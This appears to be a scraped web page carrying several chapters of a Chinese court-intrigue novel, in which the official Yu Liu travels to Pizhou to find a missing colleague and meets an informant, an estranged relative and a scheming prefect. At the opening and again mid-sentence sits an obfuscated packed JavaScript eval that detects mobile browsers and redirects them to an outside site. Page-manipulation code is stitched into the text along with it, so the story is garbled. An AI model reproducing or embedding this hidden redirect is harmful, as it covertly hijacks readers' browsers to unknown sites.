;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679017|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,玉流怀疑他很有可能认识她的父母。 也正因如此,他才有这种底气,敢往她去年在青山祭拜时遗留的土坑里埋东西。 玉流在纸塔迷迭的白雾中,拆开了用黄土裹了几层的信封。 玉流亲启: 如你所言,我是一个恶人,而于我自身,更是一个罪人。二十年前我同天斗,错选了一颗种子,用二十多万人的血肉将他滋育成树,最终结成了要我自己吞下的苦果……我的儿子已经废了,我只想救下我的女儿……她没有错,不该永囚于无情的后宫,当一个死去之人的影子…… 求玉姑娘您,求您想办法,救下思贤一命。 老东西怪有趣的,都要把她吹成神仙了。一个是深得陛下宠爱的贵妃,一个是劳心劳力干活的侯官,但凡有点脑子的人,都不会写出这种东西来。 太可笑了。 她在山中就把信丢入火堆,点点橙红星火焚烧出灰黑的烟气,时隔几日,这点如毒雾的烟又飘向此时的眼前。 她在见过安国公后就有一种很不好的预感,只是这几日一连串的耽搁下来她就忘了,也是赵颐来了之后提及安思贤她才想起来还有这件事。 安思贤的性子,跋扈算不上,但也骄躁自利,她未必就会这么柔顺地认命。更何况,如果安国公都知道自己的女儿被当成别人的影子,那她自己呢? 玉流都不敢细想。 “……我知道囚哥你做事要有理有据,但安思贤之事我无法给一个能说服你的缘由,勉强只能说是安家有异,若不行的话,就当我病没好,说了胡话。” “阿玉,”章囚放低声音,暗含不解还有指摘,“我以为你最为循规蹈矩,你怎么敢同我说这种话?” “囚哥,你都敢把皇宫秘闻告诉我,还怕这个?我之前见了不鸣住持,听说你同他私交颇深,那你知道他和我说什么吗,他和我说‘侯官,忠的是大殷’。” 章囚压下剑眉,于无形中施加压力:“所以阿玉你……是在为陛下思虑吗?” “你说呢?”玉流坦然接受他的审度,灼灼的眉眼被竹影拉得颀长,些许的萧索落拓。 “哈,哈哈哈哈,”章囚不由得低声笑出来,“也罢,我替你去试探试探。本来胡平帮你我就觉得奇怪,他那个人,不该有这么好的心肠。” “好,第二件,我昨天清早出门的时候撞见了一个可疑之人,他自称是外侯官所招揽的探子,但没有能证明身份的东西。我追了他一段路,最后跟丢了。” 玉流没提及敬国寺的事情,也说了点谎言:“我没看清他的脸,所以不能给你描述出画像,只能你派人去查一查京城里有没有什么没见过的高手,尤其是外侯官手里的那些暗探,看看是不是有谁浑水摸鱼进来了。” “至于第三件,此行我准备一个人去。我带回来的这三个小包袱,两个小的我有安排,剩下病着的这个嘛……”这病来得也是妙极。 玉流眸色深深,如红月之夜黑白潮汐汹涌的交汇:“虽然现在还躺着,但应该用不了多久就会好,他平时在崇州日子糙惯了,不习惯被人照顾,所以你什么时候想起来,让人过来看一眼就行。” 65. 回天城 “唔……什、什么?”此时正是病症最急切的时候,身子内仿佛有无数个小人闹腾,他打不过,打不完,仿佛全身都在被车辙反复来回地碾压,从头到脚皆是浑浑噩噩,模模糊糊。热汗如飞瀑水帘,身心似鼎炉灶台,说话都是在用鼻腔出声。 难耐的燥热从脸侧贴上来的寒凉中稍得慰藉,冷如霜雪的嗓音徐徐入耳:“我说我有事要出趟门,你乖乖留在家里,不要到处乱跑。” 迟钝的听觉只捉到了出门的字眼。他摇头,负重千钧的手慢得不像是在动,吃力地探出被子,摸了一会儿,找到了她的衣袖,被热压垮的眼皮勉强抬了抬:“……不、不要。” 一声轻笑,有人俯身在额间留下一个轻吻:“不要也得要,你病了,好好养着。” “我、我……”他还想说什么,但她被人叫了出去。 门没有被拉严实,留着缝隙。 “要走了吗……此去……小心。” “放心吧,我又不是诸哥,外面的路……” “进回天城前和邳州知州说一声,有人带着总好一些……” 听不清了,还有什么,什么…… “哈啊,哈……哈……”不知多久之后,他从噩梦中惊醒,身侧的位置早已凉透,根本看不出有人曾经逗留。他抚上已冷下的额间,只有记忆中尚且残留的一缕温热。 “呵。”轻声自嘲之后,他仰起酸胀的头,窥见未关紧的纸窗之外天光灿烂,云雀鸣鸣。 抬手按在手腕上,轻轻地磨搓了一会儿,他闭上那双烧得缺水干涩的眼睛,喃喃自语:“我那聪慧又绝情的师妹啊,居然就这么丢下我跑了,真是好狠的心……所以这会儿,你已经到哪儿了呢?” 被念叨的玉流早已远在千里之外。 终有恢复自由身,不禁感慨出远门还是一个人舒坦。伸完懒腰,她在京城同崇州中间的青州官道外勒马悬停。 正逢晌午,日头炎热,道上几乎无人,玉流翻身下马,摘下斗笠朝着路边那道短矮的影子道:“巧。” “……巧,”蹲坐在树荫下一边乘凉一边大喘气的小胖子不大高兴,但也得回应,“真是太太太太巧了。” 听听这如怨女的语气,她都要幻听敏郎了。玉流轻啧,上上下下端详着这位灰头土脸的包打听,侃了一嘴:“你瘦了。” “废——” “嗯?” 包打听的气势瞬间如正午的影子一般矮下去:“……非、非要这么说也是可以的。” “最近太累了,”同玉流差不多大的小书生忍不住抱怨,“玉姑娘啊,我为了提防四方境的那些杀手,吃不得睡不得,简直都要变成树人了,就是为了那么点苦命钱啊,加钱,加钱,得加钱!” “你就当是锻炼身体,不知道胖子寿命短吗?” “我那是心宽体胖!” “……行,”玉流打住,当自己是白丁,不跟他插科打诨,“加钱,我加还不成吗?” 一块金子落地了,包打听高兴了点:“成成成。不过玉姑娘你也真是的,不能提前说吗,你不知道你的那封飞鸽传书过来,都快要了我的小命。” “你不是准时来了吗,甚至比我还提前到。” “我可是跑废三匹千里马,三匹!”说出这个数,包打听都要掉眼泪了。他为了尽快赶上,只能沿路跟其他包打听买马,这群人啊,知道他从玉流那里赚了不少,故意狠狠宰了他一番。都是多年好友了,一点友情价都没有! “好了,不要叫了,我会赔的,”玉流拿出个钱袋子就丢过去,“这次欠你的,加上赔马的,管够了。别说这些废话了,我时间有限。” “咳嗯……”包打听还拿姿态,墨迹一会儿才拿起袋子解开绳结,把一只眼睛伸进去。 好亮!快亮瞎了! 包打听彻底满意了,钱的狗腿子变成人的狗腿子:“等等啊,让我喝口水,喝完就说。” 包打听凑过来,小声道:“先不说四方境,有一件事我觉得有些古怪。玉姑娘,我到崇州的第一晚,路过镜水山庄的时候见到青龙了,他正被宋庄主送出来。” 玉流:“青龙?他脑子进水和宋远徽搞上了?” 包打听不好随意下定论:“这我就不知道了,你也清楚青龙的能耐,我不敢靠太近,免得被他发现。” 玉流也知此理:“先不管他,四方境内如何?” 包打听长吸一口气:“这就是另一处古怪了,四方境最近很安静,静得和空壳一样。我特意问了其余的包打听,听说境主很久没有现身了,有人来打探就说是在闭关。还有,白虎也不见了。我觉得吧,若是那位神龙见首不见尾,十几年都难得出来晒晒太阳的玄武还说得过去,可是这境主和白虎啊。” 玉流的眉心慢慢皱紧:“朱雀还没回来是吧。” 包打听:“对。” 玉流哼声:“那现在四方境就是青龙一个人的了。” 包打听:“对……啊!玉姑娘这话——” 玉流制止了他:“看来不久之后就有好戏看了,你回去继续盯着四方境吧,就当是我送给朱雀的礼物。” ——出卖她的赔礼。 玉流又摸出一个钱袋子:“喏,这是新的定金,后面的等事成了再补上。” “啊,好好好,”包打听心里都快炸开花了,不亏是女侯官,真是财大气粗啊,他欢声恭维,“玉姑娘和朱雀姑娘还真是姐妹情深呐。” “呵呵。”玉流冷笑,什么姐妹情深,她只是怕朱雀生意结束后回来杀她罢了。 半月前,极乐天。 秦辜幸给出自己的条件:“你不要干涉四方境的事情。” 玉流翻了个白眼:“我和四方境关系一般,青龙白虎是死是活都和我没关系。” 秦辜幸挑着发尾的牡丹坠子:“所以我指的是有关的那个。” “……朱雀,”玉流变了脸,“你想做什么?” 秦辜幸笑了:“这就不是玉大人能知道的了,反正我就这么一条要求,答不答应就看玉大人自己了。” 她自然是答应了,这要是被朱雀知道,她那个认死理的脑子,绝对能做出追杀她的事来。 包打听听不出她的深意:“那玉姑娘这会儿就往回走了吗?” 玉流望向东面:“不是。” “嘶,玉姑娘,你不会要去邳州吧。” “怎么,你有什么小道消息吗?” 包打听嘿嘿笑了几声:“我还真有。” 玉流挑眉:“说来听听。” 包打听为难:“啊这……” 玉流:“别来这套,我给你这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690037|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多钱,你送我个情报怎么了!” “活跃一下嘛,”包打听知钱图报,“来的路上听过路人说的,邳州最近出了几桩怪案,城里失踪了几个人,家里人急得不行,报官还没过个一两日,他们又不知从哪里钻了出来。” 玉流不太满意,问:“就这样?” “就这样,人都好好的没什么大毛病,大家都没往心里去,估计邳州知州也没当回事……啊,”包打听后知后觉,“难道玉姑娘是为此事去的邳州?” 玉流随意嗯了声,算是揭过此页,状似不经意地问起:“说到邳州,那你可知回天城这几日来有没有什么异动?” “回天城?玉姑娘怎么提到回天城了?” “随口问问,反正会经过。” “经过行,可别进去,那地方到底是关押罪臣之地,虽说那位罪将军几年前病逝了,但后人毕竟还在。至于里面有什么响动,我一个走江湖的,脚踩大殷土地,身着大殷织造,还是不要去刺探这种地方的事情为妙啊——” 玉流直接一掌拍到他的脑门上:“你一个假书生还装起来了?怎么的,也想走仕途了?” 包打听捂着剧烈疼痛的脑门,不用看都知道铁定红了:“这不是他过去在江湖人也有点名头……姑娘你又是为朝廷办事的嘛,我怕被你抓到把柄……” “这都过去多少年了,早就翻篇了,再说了,京城的那位也……”玉流舔着牙,到底没能说出那两个字,“有就说,没有就滚。” “等,等等,让我想想,好像途中听谁说起过……啊,我想起来了,”包打听猛地拍手,但立马又有些不敢笃定,“有人提了一嘴说邳州的外侯官带了不少人去回天城里加强巡夜,可这是外侯官做的事,玉姑娘你不知情吗?” 玉流淡然接话:“地方州的外侯官不受我管辖。” 包打听拱手:“是我唐突了。” “无碍。”玉流摆手,心里却打起鼓来。 看来人是真的出事了。赵廉怎么回事,为什么要选中邳州,诸几又为何会消失在回天城附近,这里头,到底藏了多少她不知道的弯弯绕绕? “……反正姑娘你去邳州要小心,尤其是路过回天城的时候,不说那些陈年旧事,就回天城里头的那座山,”包打听挥着手指,心惊地告诫,“千万不要去,性命要紧。” 玉流笑:“你是担心我的命,还是担心我死了没人给你付剩余的钱?” “怎么会呢,”包打听打哈哈,“命重要,当然,钱也重要。” “哈,我信了,走了,你也小心。” “应该的,应该的,玉姑娘再会啊,有事就给我传信,我随叫随到!别的包打听都比不上我!” “滚滚滚。” 告别包打听,玉流骑上马调转向东,握住缰绳在极目远眺中,眉头逐渐紧锁。 邳州在大殷的东南面,如大殷其余的地方州一样,没什么特别之处。真正让世人记住它的是城门外那座小城,其实也不能说是城,而是一座被泥墙围起来的小镇。 在二十年前用来关押十二皇子余党的小镇。 她过去进去过,镇子并不大,里头住的人也不多,照常理来说,诸几不该在里头失踪,除非…… 玉流有了一个糟糕的预想,除非,他进了回天城里的那座山。 66. 见故人 走出青州后的这一段路,玉流没提上速度,算是赶着马跑一程,转头又歇息一程。认真算一算的话,要比她说给章囚的多了好几日。 她不急,甚至有闲心把一整日都放在山头打转。 这也是没办法的事,她总要停下来想一想,寻找些蛛丝马迹。 诸几是武官出身,有一些山野行走的常识,但赵廉不是。同他形如一丘之貉臭味相投的安德明出门尚需一群人捧着,更何况赵廉一个靡衣玉食肥马轻裘的郡王。 他在犯事之前或许都没自己穿过一件衣服,伸手舀过一勺饭菜。这样一个金贵的公子哥,又如何一人逃窜过千余里地? 玉流是不信他在扮猪吃老虎的,他没那个脑子,不然也不会犯下那样蠢得无药可救的滔天大错。 所以到底是谁在帮他逃跑? 难道他在知晓安德明之死后找到了什么帮手吗……某位能逃过外侯官罗网的江湖人? 玉流走进山林,拿着细长的木棍挑开被人特意拿薄土落叶掩盖的篝火坑——典型的江湖人作风。 接着,她从一堆的木枝粗炭下勾出一小只未能烧熔的金貔貅。 真是真金不怕火炼。 玉流吹去貔貅身上的灰烬,在它的肚子上找到了一个小小的廉字。看样子,这极有可能是赵廉的。 先拿着吧,玉流收好貔貅,退后时,余光落在脚下的这一方土地上。 这黑土的颜色好像不太对。 玉流屈膝半蹲,用木棍撬起一块,碾碎在指尖。 良久的沉默后,玉流扑哧笑出了声。 她不敢笃定诸几有没有途经此处,也不敢断言诸几有没有找到赵廉的行踪,从她的视角来看,赵廉是不是还活着,都得先打一个疑问了。 也不知道这是好事还是坏事。 对赵颐应该是个好事。 玉流暂时将这一发现搁在一旁,此行最要紧的目的还是找到诸几。 有了点收获玉流便不再浪费时间,骑着马一路往东南走,越近邳州天色越发沉郁。灰蒙的阴天,暮云如水下鱼尾浮游于山水间,江南绣雾色。 路过一处夹一处的乡水村舍,春末如银针细长的绵绵细雨催人沉眠。这样的天气,万物在雨雾中懒懒散散,人也懒着,挪不动精神。 玉流不自觉地犯困,白马也是。还能赶路已经是马儿很给她面子了。 “你说是吧。”玉流轻轻踢上马腹。 下一刻,身下白马长鸣,好似一支穿云箭刺破累叠的碎雾,直入云霄。 玉流仰头醒神,斗笠下的眼睛似乎也被这支长箭叫醒,人清明些,提速启程。 黛色天地间,一人一马穿过群山中一阵一阵的骤雨。不知过了多久,玉流下马,抖落斗笠边缘残余的雨水,负手站在离回天城几里外的高地之上。 阴湿的潮气在眼睫缀上珍珠,她透过滴滴浑圆,俯瞰这座沉郁的小镇。 离开京城前章囚给她了建议,绕过回天城先去邳州找知州,再由知州带她入城。这合规矩,但不合她心意。 回天城就在脚下,玉流临时不想按照他的吩咐行事了。 邳州知州她认识,姓周名清文,和柳吾善是两个极端。柳吾善能糊弄就糊弄,而这位老知州则是屁大点事都要闹得满城风雨人尽皆知,跟羊角风似的,过境之处什么都要吸得干干净净。 说得好听点是在其位谋其事,说得难听点就是没事找事,想方设法为自己的功绩簿添砖加瓦。 不用多说,周清文是个极其麻烦的人物。 正因如此,在听见包打听说知州没有把失踪案上报的时候,玉流心里也疑惑了一把。难道最近下的雨也进了周大人的脑子,他开窍了?还是说,这位周大人也在暗地里准备着什么吗? 这样的话,她更得自己先进回天城探探路了。 玉流牵着马走下高地,找了一处背阴的坡面:“你就别跟着我进去了,我会尽快出来的。” 玉流顺了顺马鬃,跟白马讲好道理,随手将斗笠抛起,挂在树梢尖头。 被斗笠压出的额间红痕微痒,玉流揉着,避开镇子入口,走到偏僻的城墙之下,扎紧袖子,叼起高束的马尾,利落地翻身上墙。 只要她想,城内的外侯官根本发现不了她的踪影。 只是才从墙头跳下,玉流便愣住了,举着手揉搓了好几次眼睛才敢确定她没进错地方。 城里的人是不是太多了……从前那座冷冷清清,只有一些半残不死老人的小镇去哪儿了? 要知道在过去,这镇子就跟里头的人一样行将就木,日薄西山,犹如垂垂老矣的病马,快死了就鼓起伏在地上的干瘪马腹,撕扯着哑吼一声,提醒后面的周马夫要收起马鞭递上点水和干草了。 如此,病马又活过一年半载。 可现在呢,一眼望过去,男女老少皆有,嬉笑怒骂俱全。 她记得也就过了三年而已,三年就生出来这么多的人?这世道怎么了,城别三日也当刮目相看了吗? 像是历经天劫的置之死地而后生,仿佛在诉说着陛下的皇恩浩荡。 玉流低着头,思绪被纷纷走过的人群带走。 回天城的重生给她打了个措手不及,先前的推论有一部分需要推倒重来了。回天城是怎么回事,诸几和赵廉为何会在这里头失踪,周清文这个光打雷不下雨的看马倌又到底在做些什么! “……因为世人忘性大,所以不记仇,日子如水,只要够久,能抹平世间所有的伤痕。”似乎是看出了她的心中所疑,一道清雅的男声不请自来,缓缓为她解惑。 玉流扭头,人流接踵间,有人站到了她身后。这位丹凤眼的俊柔公子笑容满面地说:“斯人已逝,生者如斯,人嘛,总是要活下去的。” 玉流扯了扯嘴角,对他的话一笑置之。两人本该就此打住,鬼使神差地,她却还是问了出口:“这是……周知州的手笔?” “咦,姑娘不曾听说吗?” “我该听说什么?” “大概在两三年前的冬末,周大人进京,在年终之宴上得了陛下的准许,回来后就逐渐放开了管制,也就有了如今的回天城。” 两三年前?玉流抿唇:“我不太关注这些。多谢相告。” “小事一桩,姑娘客气了,”公子笑着,偏了偏头 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“你去跟着她。” “不用禀报外侯官吗?” “不用,也不必告知父亲。” “是。” 玉流卷起耳侧悬垂的碎发,舔着干涩裂血的嘴唇嗤笑,她真的无话可说。这年头,什么阿猫阿狗都能跟踪她了是吧。 真是把自己当盘菜了,还是说她的脸就这么配不上她的恶名吗? 玉流含着血珠,吃到一嘴锈味。 翻滚的心绪稍稍宁静了些。 回天城在邳州,邳州和崇州不一样。她不想先起事端,决定放过他。 轻而易举地甩掉惹人嫌的尾巴,再避开混迹在人群中的外侯官,玉流拐进了一条暗巷。足尖轻点,落至屋檐,在檐角树梢间如雨燕翩跹。 不久,回天城之南面,玉流在满是枯杆的废弃农田尽头,在最靠近山脚的地方找到了一处被野草围绕的破败院落。 牌匾失色,是谁的宅子早已经看不出来。院墙也被风侵雨蚀,不知修补了多少次的红漆剥落,露出里面猩红的划痕。 裂开的柚木门缝里,插着一朵精致素白的绢花。 她不知自己这个死木桩子站了多久,只知再回神时脸上已经罩了一层薄雨衣。 细碎的雨丝中,玉流像一株飘摇的藤草。 数年过去,白驹过隙,为什么她那筑进骨血里的伤痕没有被流水的时间抹去? 老天爷你还真是恶毒。 玉流骂了一嘴,动了动在寒雨中站得失温的身子,拍去沾满发丝的珍珠雨水,在转身的瞬息,“吱呀”一声,木门从里面打开。 绢花飘落在她脚边,沾水沾泥。 好似一枚符咒就此生效,她突然无法提起自己沉重的双脚。 门之后,伞之下,拄着拐杖的青年抬眸,在淡如山水墨色的目光中湿润朝她看来看。 玉流瞳仁微颤,而这人眉目浅笑。 “既然走到门口了,不进来看看吗……妹妹。” 67. 又见面 玉流不喜这个的称呼:“不要这么叫我,我和你之间没有这种关系。” “这样啊,那我换个吧,”江南山水养出的病弱青年低眉思忖,须臾后谨慎试探,“……小瑀?” 玉流的眉梢瞬间拧似刀锋:“如果你这么想死的话就再叫一遍。” “对不起,是我僭越了,还是叫玉大人吧。”他嘴上识趣地退让,人却握紧手心,往前走了小小的一步,眼角的余光见她没有厌恶之意,才把拐杖放到墙角,站在新得格格不入的门槛后,俯身扬手,以一个极其小心的姿势将青伞歪斜,堪堪遮住玉流头顶逐渐淅沥的春末雨。 骤然绵密的雨水如山间的潺潺细流,沿着伞骨的溪道滴答滴答,在青灰的天地间描风摹光。 玉流没有拒绝他这点微不足道的好意。她不会进去,门槛都不会跨过半步。 “身体不好的话,就不该冒雨出来,”玉流越过他薄瘦的肩颈,素青的衣袍之外,看见院内杂乱的草木,“拄着拐杖居然一点动静都没有,一个人住久了,真把自己当快死的孤魂野鬼了?” 他笑着摇头,淡淡的喜色从眼中流出,掩去了骨子的愁忧。他欣然于她的接纳:“我的腿还不至于坏到那种地步,我不会给你丢脸的。” 玉流轻哼,觉得可笑:“我们没有关系,你能给我丢什么脸?不过话说回来,开门的时机把握得这么好,是凑巧,还是有人给你通风报信了?” “怎么会呢,我只是……只是无处可去,一直坐在门后而已。”那张没什么血色的脸上闪过转瞬即逝的惊慌,而后浮现宽慰。一股勇气来得莫名,垂在身侧的手抓住袖子的一角,下意识伸起,想去揉她湿软的脑袋。 一如十几年前那场早已预见的不动声色的离别。 下一刻,玉流侧身避开他的触碰,仿佛在她身前的是什么洪水猛兽。 伞下空了,他才意识到自己做了什么,悻然收回手,挪着不便的腿脚将伞面朝她靠来。他离她依旧不近,直到她的肩膀不再晕雨,才道:“我只是开门想碰一把运气,我也没想到会有被老天爷垂怜的一天。” “你可真是自作多情。我回来可不是为了你。” “你就这么不待见我吗?” “你不是自小就知道这件事了吗,顶着这样的身份还敢走出来,真不怕被别人看见?” 自南而来的山风寒阴,从脖颈而下顺着脊骨蔓延周身,霜寒侵体,孜孜不倦地要吹她入门。玉流闭了闭眼,忽地推过快斜平的伞骨,抬步走到了门槛前,站在门头下。 对面的人眉宇间染上几缕悲愁,他还是要被她怜悯。把酸胀的手臂放到身后,他道:“担心被连坐这种事的,难道不该是玉大人你吗?如果你都不怕,我一个只剩一条命的贱民又怕什么呢咳咳咳……” 吃了太久的凉风,他扭过脸捂嘴强压下喉间的痒意:“那位周大人要当个心怀百姓的好官,而外侯官……这几日似乎很忙,都没有闲工夫来监视我一个不良于行的废人。所以你可以进来坐一坐的,这些年我都留着,一切都没动过,而且他们都很想——” 玉流的耐心随着他越发离奇的话语而告罄,高声打断:“这样听起来你这一两年的日子过得还不错,这才是老天垂怜。我之后会很忙,不会再过来,你也知道自己有腿疾,好好呆在里头,不要开门瞎掺和,更不要挡我的路……” 玉流说完,不顾未有转小的雨势转身就走,留他一人独自站在原地。 他弯下伤腿,在门槛外捡起那朵泥泞的绢花,他把绢花置于胸前,苦乐同生同来。在被风食尽的声音里,依稀辨认出她咀嚼出的字眼。 “……时琚。” 说不上来情绪如何的玉流照着来时路往回走,利落地翻墙离开回天城,吹了声口哨唤来白马,而后绕到镇子入口。 她扫了一眼,找到了伪装成镇民坐在石头上歇息的外侯官。 玉流走过去,客气地问路:“这位老乡,知道邳州怎么走吗,能否带个路?” 他抬起点遮雨的笠帽,吴侬软语学得有八分像:“哎,去邳州不就顺着主路直接……” 戛然而止中,他的眼珠子瞪得老大:“玉、玉大人!” 他起身:“我没收到消息说您要来啊?” “我没让他们传信过来,没有必要,”玉流也不多废话,压低嗓子,“带我去找周清文。” 一刻钟后,邳州城府衙。 笑如弥勒佛的周清文摆正官帽,朝她行礼:“本官没想到玉大人会来,真是有失远迎,若有怠慢之处还请玉大人千万要手下留情,毕竟我只是一个小州知州,比不上玉大人你的分量。” 这般阳奉阴违的言辞倒是和京城的那群官场老贼不太一样,有些清新脱俗。玉流笑着回敬:“是我冒昧打搅,自当是由我请周大人恕罪。” “不敢不敢,玉大人客气了。” “怎么会呢,我之后在邳州办事,还需周大人关照。” “自然自然,”周清文抬手示意,“玉大人,院中风大雨大,还请进堂落座。” 玉流回头,看了眼跟着的外侯官,后者示意:“我在外头等着大人。” 玉流才坐下,周清文便从跑来的下人手中接过一壶热茶,亲自斟茶倒水:“不值钱的碎茶,还请玉大人不要嫌弃。” “不会。”玉流谢过,接了茶盏。茶水还太烫,她没喝,握着盏身通透身上雨水的凉意。 周清文也给自己倒了一杯,虚虚地喝了一口,烫红了点嘴皮。吸气吹凉的间隙,自觉丢脸,赶忙放下茶盏,笑了笑掩饰去尴尬,斟酌开口询问道:“不知玉大人此次前来,是否是为了诸大人之事?” 玉流反问:“不然呢,这邳州还有什么其他案子需要我插手的吗,如果有的话,周大人不妨直说,我也可以顺便帮周大人把把关的。” “本官不是这个意思,大人的好意本官心领了。邳州就是一座不大不小的城,不像崇州有那么多的高手在,本官也不是柳大人,管管邳州城还是有余力的,”说到此处,周清文的话锋急转,“不过诸大人失踪案就不好说了,他来的时候本官不知道,怎么会进回天城的本官也不知道,为什么会在回天城消失的,本官就更不知道了,哎呀,这这这,玉大人说这可如何是好啊?” 这这这,这个头。玉流在心底翻了个 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“哈哈,玉大人真是爱说笑,这又不是本官的错,本官就……”他说不下去了,一个不慎就容易撕破脸,他得再推敲推敲话术,“就,呃,就……本官突然想去茅——” “大人,大人不好了啊——别抓我,别抓我!” 门外的吵闹救了周清文。 一侧的门被打开,守着的外侯官抓着来人的衣领,朝着玉流道:“大人,这位是知州府的管家。” 周清文顿时松了一口气,不轻不重地拍了拍红木桌面,佯装责备:“大叫什么,这般慌慌张张,成何体统!” 管家干巴巴赔笑:“见过玉大人。那什么,大人,我有要事和您说。” “这……那玉大人能不能让本官先出去?”周清文看向玉流。 玉流转着茶盏:“让管家进来说吧,出去说多累啊。” “是。”不等周清文回答,外侯官便将人推了进来。 这下周清文出去想对策的希望彻底破灭了。见玉流拿着盖碗刮去茶沫,一心等着喝热茶,他的脸色缓和了些,招来管家:“过来说吧。” “啊,好、好的,”管家也是个有眼见的,知道什么该看什么不该看,捂着嘴附耳低言,“大人,公子说……” “胡闹,我和玉大人谈正经事,他来做什么,叫他走。” 管家欲哭无泪:“可是我拦不住啊,人都已经……” 管家还未说完,才关上的门又被打开,外侯官面无表情地站着,他身边挺秀的青年笑意浓浓:“听说府衙来了贵客,爹爹怎能不叫我?” “……本官来说即可,本官来说,”人都站在门口了,周清文也不好当着外人的面训斥,只能起身硬着头皮介绍,“这位是犬子承昀,这位是——” 周承昀一步跨入,无视自己亲爹,走到玉流眼前,言笑晏晏:“姑娘,好巧,我们又见面了。” 周清文差点一口气没涌上来:“承昀不得无礼!这位是玉流玉大人。” 一声百转千回的惊叹,周承昀眼中的异彩如花绽:“原来是玉大人啊,那么……承昀见过玉大人。这才多久就见第二面,或许,这就是世人口中的缘分?” 玉流:“呵呵。” 这人有病。 68. 请谋士 “哦?这么一听,玉大人认识犬子?奇怪了,承昀自小长在邳州,怎么会被玉大人认识?难道玉大人从前来过邳州?不应该啊,玉大人这样的人物,若是到了邳州,本官没道理不知情的啊。” 回过神来的周清文找到了能插嘴的间隙,密密麻麻的话跟投石器上的石头一样抛到玉流身上,听起来是疑问,实则句句都是要落地的猜测。 这才是周清文,抓着一点漏洞,就拼命地咬紧,像一条疯狗,不把人的肠子撕扯出来耀武扬威地绕城一周就不肯罢休。 玉流本想瞒着自己先行进回天城之事,现在看来她不认不行了。抢在转身欲言的周承昀之前,玉流索性自己说了:“我来邳州找周大人之前先去了一趟回天城。在街上,与令公子有过一面之缘。” 周清文些许惊愣:“玉大人先去了回天城?” 玉流舔着虎牙,笑问:“不行吗?” 周清文:“旁人能去,玉大人自然也能去,不知玉大人在回天城里有何收获?” 玉流就等着他的这句话,顺势就把旁边眯着丹凤眼看戏的人扯了进来:“周大人不妨问问令公子。我在回天城的那段时间里,还承蒙他的照顾。” 一句话便堵死周清文所有的后话。他太了解自家儿子,避着玉流狠狠瞪了一眼事不关己的周承昀后,幽幽道:“本官只是随口一问,没有要探究玉大人行踪的意思。玉大人这一路舟车劳顿辛苦了,外头雨还下着,不好找人,不如先稍作歇息,再行安排,如何?” 玉流正有此意,几句你来我往的试探之后,她察觉出周清文的态度的确耐人寻味,她需要同外侯官了解一番前情。 邳州有侯官驻守,玉流不必借住在府衙内。玉流从府衙拿了把竹伞,牵着马,跟着外侯官往侯官署走去。 此时署内几乎无人,玉流安置好白马便走进正堂,拽出一把木椅坐下,翘着二郎腿,问:“周清文怎么回事,怎么与传闻中的相差了那么多?” 玉流话说得也谨慎和隐晦,只说是自己听到的,不说自己知道的。 外侯官立于玉流身前:“其实之前周大人还不是这样的。刚开始是我们的人在城外意外发现了诸大人的令牌,这才得知诸大人到了邳州,后来寻了一圈始终不见人影,令牌这东西,若无意外绝不会离身,适逢城内有人无故失踪,便怀疑诸大人是否也遇到了类似的危险。” “周大人得知此事后不久,便主动来找我们。诸大人是副指挥使,身份地位皆不低,若能找到诸大人,对周大人以后的官路也有助力,但……”外侯官顿了顿,“只过了一日,周大人就反悔了,说连日操劳城内的失踪案已经让他伤身伤神,需要好好调养几日,他信侯官的本事,不必他相助也能顺利找到诸大人。” 玉流不解:“周清文伤身伤神什么,那几个失踪的不是隔了几天就自己回来了吗?” 外侯官轻声解释:“这只是知州府对外的说法。大人有所不知,那几个青壮年实际上失踪了好几日,回来时人都懵了一圈,话少又呆傻,像被人夺了魂魄一样。都说家丑不可外扬,家里出了这样的事,他们的父母也不想被人说闲话,周大人就帮忙瞒了下来。而且……也不能说是他们自己回来的。” 玉流听着,眉头渐渐拧起,抱着手道:“你继续说。” 外侯官点头:“倒回去算的话,那几个人是隔着几天相继失踪的,等城里的外侯官有所察觉的时候已经来不及了,这算是外侯官的失职,我们本想去帮一帮周大人,却被他婉拒。而且,即使那几家父母来府衙大闹要找人,周大人依旧坐得十分安稳。” “就在几日后,周大人仿佛突然开窍了一样,鸡都没叫就亲自领着一众的差役转了半座邳州城,接着就让他在一座荒废的山间道观周围找到了那几个消失数日的青年。” 这听起来有些离谱了,玉流不禁问:“是瞎猫碰上死耗子,还是周清文早就知道人在哪儿了?” 外侯官也不知:“不好说,因为这不是周大人的主意。知州府内嘴碎的下人说漏了我们才知道,原来周大人在得知有人失踪后就在外面请了一位谋士来。听说周大人那般一反常态的行事作风就是出自他之手。” “那他们的失踪是怎么回事?” “我们后来查明了,那几个人的失踪是自导自演。他们平日里潇洒惯了,不想出去找活赚钱,在家又被父母嫌弃,于是就想出了这么一个法子,演一出苦肉计,博一年半载父母的血汗钱罢了。” “这就是你们没有上报的原因?” “一方面是,另一方面,正巧遇上诸大人的事情……这就耽搁下来了。”外侯官低头认错。 玉流忽地就体会到了周清文不声张的用意。邳州出了这样的案子,就像是他教子无方一样,若是刨根究底,外侯官失职也会被带出来,他们这些做长官的脸上也没面子。这才几月,这些地方州接二连三地出事,到时年终一算,大家都没好果子吃。 利利相交取其大,弊弊相交取其小,还不如把宝押到诸几身上,反正诸几不打一声招呼就到邳州,他不知情,所以诸几后续失踪,也就与他无关。 